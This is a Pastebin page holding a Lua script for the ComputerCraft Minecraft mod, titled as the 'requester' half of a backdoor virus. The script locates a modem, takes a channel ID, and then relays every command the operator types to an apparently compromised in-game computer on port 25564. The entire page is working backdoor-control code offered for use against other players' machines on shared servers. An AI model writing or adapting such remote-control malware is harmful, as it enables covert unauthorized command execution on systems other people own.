An_random_user

ComputerCraft backdoor virus (requester)

May 23rd, 2022 (edited)
68
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 1.20 KB | None | 0 0
  1. function findModem()
  2.   for _, v in pairs( rs.getSides() ) do
  3.         if peripheral.isPresent( v ) and peripheral.getType( v ) == "modem" then
  4.           return true, v
  5.         end
  6.   end
  7.   return false, nil
  8. end
  9. local exist, side = findModem()
  10. if not (exist) then
  11. error("To use this backdoor you need to have an modem installed.")
  12. end
  13. local modem = peripheral.wrap(side)
  14. write("Text colored in ")term.setTextColor( colors.red) write("red is required") term.setTextColor( colors.white)
  15. print(" ") -- newline
  16. term.setTextColor( colors.red)
  17. write("ChannelId: ")
  18. term.setTextColor( colors.white)
  19. local ChannelId= tonumber(read())
  20. local isvalid,err = pcall(function()
  21. modem.transmit(ChannelId, 25564,"hello")
  22. end)
  23. if not (isvalid) then
  24. error("Invalid ChannelId or error: "..tostring(isvalid)..err)
  25. else
  26. print("Connection established.")
  27. end
  28. while true do
  29.    
  30. term.setTextColor( colors.yellow )
  31. write("> ")
  32. term.setTextColor( colors.white)
  33. local run= read()
  34. if run == "disconnect" then
  35. print("Disconnected!")
  36. error("",0)
  37. end
  38. local a,b = pcall(function()
  39. modem.transmit(ChannelId, 25564,run)end)
  40. if not (a) then
  41. print("Non-Fatal error occurred with sending request. Reason:"..tostring(b))
  42. end
  43. end
Add Comment
Please, Sign In to add comment